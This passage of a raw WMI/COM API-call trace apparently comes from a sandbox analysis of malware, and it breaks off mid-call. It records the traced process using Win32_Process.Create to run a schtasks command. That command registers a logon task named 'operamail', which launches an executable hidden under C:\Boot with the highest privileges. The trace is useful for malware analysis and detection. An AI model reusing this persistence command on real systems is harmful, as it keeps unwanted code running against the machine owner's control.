[0135.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f740, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0135.536] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f740, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0135.536] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f740, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0135.536] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3f680) returned 0x0 [0135.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f740, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0135.536] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0135.536] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0135.537] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f680, uIndex=0x0, pszName="root") returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f740, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0135.537] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3f680, uIndex=0x1, pszName="cimv2") returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f740, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f740, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f680, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3f680, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f680, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f680, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f680, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f680, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f680, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0135.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f680, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0135.538] IWbemServices:GetObject (in: This=0x1bc36e70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bc2ac30, ppCallResult=0x0) returned 0x0 [0135.576] IWbemClassObject:GetMethod (in: This=0x1bc2ac30, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc2afa0, ppOutSignature=0x1bb7e690*=0x1bc2b310) returned 0x0 [0135.577] IWbemClassObject:SpawnInstance (in: This=0x1bc2afa0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa187d0) returned 0x0 [0135.578] IWbemClassObject:Get (in: This=0x1aa187d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2873990*=0, plFlavor=0x2873994*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2873990*=8, plFlavor=0x2873994*=32) returned 0x0 [0135.579] IWbemClassObject:Get (in: This=0x1aa187d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2873990*=8, plFlavor=0x2873994*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2873990*=8, plFlavor=0x2873994*=32) returned 0x0 [0135.579] IWbemClassObject:Put (This=0x1aa187d0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"operamail\" /sc ONLOGON /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0135.579] IWbemClassObject:Get (in: This=0x1aa187d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2873a20*=0, plFlavor=0x2873a24*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2873a20*=13, plFlavor=0x2873a24*=32) returned 0x0 [0135.580] IWbemClassObject:Get (in: This=0x1aa187d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2873a20*=13, plFlavor=0x2873a24*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2873a20*=13, plFlavor=0x2873a24*=32) returned 0x0 [0135.580] IUnknown:QueryInterface (in: This=0x1bc2a550, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc2a550) returned 0x0 [0135.580] IUnknown:QueryInterface (in: This=0x1bc2a550, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0135.580] IUnknown:QueryInterface (in: This=0x1bc2a550, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0135.581] IUnknown:AddRef (This=0x1bc2a550) returned 0x3 [0135.581] IUnknown:QueryInterface (in: This=0x1bc2a550, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0135.581] IUnknown:QueryInterface (in: This=0x1bc2a550, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0135.581] IUnknown:QueryInterface (in: This=0x1bc2a550, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc2a558) returned 0x0 [0135.581] IMarshal:GetUnmarshalClass (in: This=0x1bc2a558, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0135.581] IUnknown:Release (This=0x1bc2a558) returned 0x3 [0135.581] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0135.581] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0135.581] IUnknown:QueryInterface (in: This=0x1bc2a550, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0135.581] IUnknown:Release (This=0x1bc2a550) returned 0x2 [0135.581] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0135.581] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0135.581] IUnknown:QueryInterface (in: This=0x1bc2a550, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0135.582] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0135.582] IUnknown:QueryInterface (in: This=0x1bc2a550, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0135.582] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0135.582] IUnknown:AddRef (This=0x1bc2a550) returned 0x3 [0135.582] IWbemClassObject:Put (This=0x1aa187d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc2a550, varVal2=0x0), Type=0) returned 0x0 [0135.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f380, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0135.582] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f380, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0135.583] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f380, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0135.583] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0135.583] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0135.583] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.583] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f380, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0135.583] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f380, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0135.584] IWbemServices:ExecMethod (in: This=0x1bc36e70, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa187d0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa18a80, ppCallResult=0x0) returned 0x0 [0135.644] IWbemClassObject:Get (in: This=0x1aa18a80, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2873d38*=0, plFlavor=0x2873d3c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf44, varVal2=0x0), pType=0x2873d38*=19, plFlavor=0x2873d3c*=0) returned 0x0 [0135.644] IWbemClassObject:Get (in: This=0x1aa18a80, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2873d38*=19, plFlavor=0x2873d3c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf44, varVal2=0x0), pType=0x2873d38*=19, plFlavor=0x2873d3c*=0) returned 0x0 [0135.646] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0135.646] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0135.646] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0135.646] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.649] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc58c20) returned 0x0 [0135.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58c20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0135.650] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58c20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3f800) returned 0x0 [0135.650] WbemDefPath:IUnknown:Release (This=0x1bc58c20) returned 0x0 [0135.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3f800) returned 0x0 [0135.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0135.650] WbemDefPath:IUnknown:AddRef (This=0x1bc3f800) returned 0x3 [0135.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0135.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0135.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc58c60) returned 0x0 [0135.651] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58c60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.651] WbemDefPath:IUnknown:Release (This=0x1bc58c60) returned 0x3 [0135.651] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0135.651] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0135.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0135.651] WbemDefPath:IUnknown:Release (This=0x1bc3f800) returned 0x2 [0135.651] WbemDefPath:IUnknown:Release (This=0x1bc3f800) returned 0x1 [0135.651] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0135.651] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0135.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f800, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3f800) returned 0x0 [0135.651] WbemDefPath:IUnknown:AddRef (This=0x1bc3f800) returned 0x3 [0135.651] WbemDefPath:IUnknown:Release (This=0x1bc3f800) returned 0x2 [0135.651] WbemDefPath:IWbemPath:SetText (This=0x1bc3f800, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0135.652] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f800, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0135.652] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f800, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0135.652] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f800, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0135.652] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f800, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0135.652] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f800, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0135.652] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f800, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0135.652] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0135.652] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0135.652] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0135.652] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.654] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc58ca0) returned 0x0 [0135.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58ca0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0135.654] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58ca0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3f8c0) returned 0x0 [0135.654] WbemDefPath:IUnknown:Release (This=0x1bc58ca0) returned 0x0 [0135.654] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3f8c0) returned 0x0 [0135.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0135.655] WbemDefPath:IUnknown:AddRef (This=0x1bc3f8c0) returned 0x3 [0135.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0135.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: 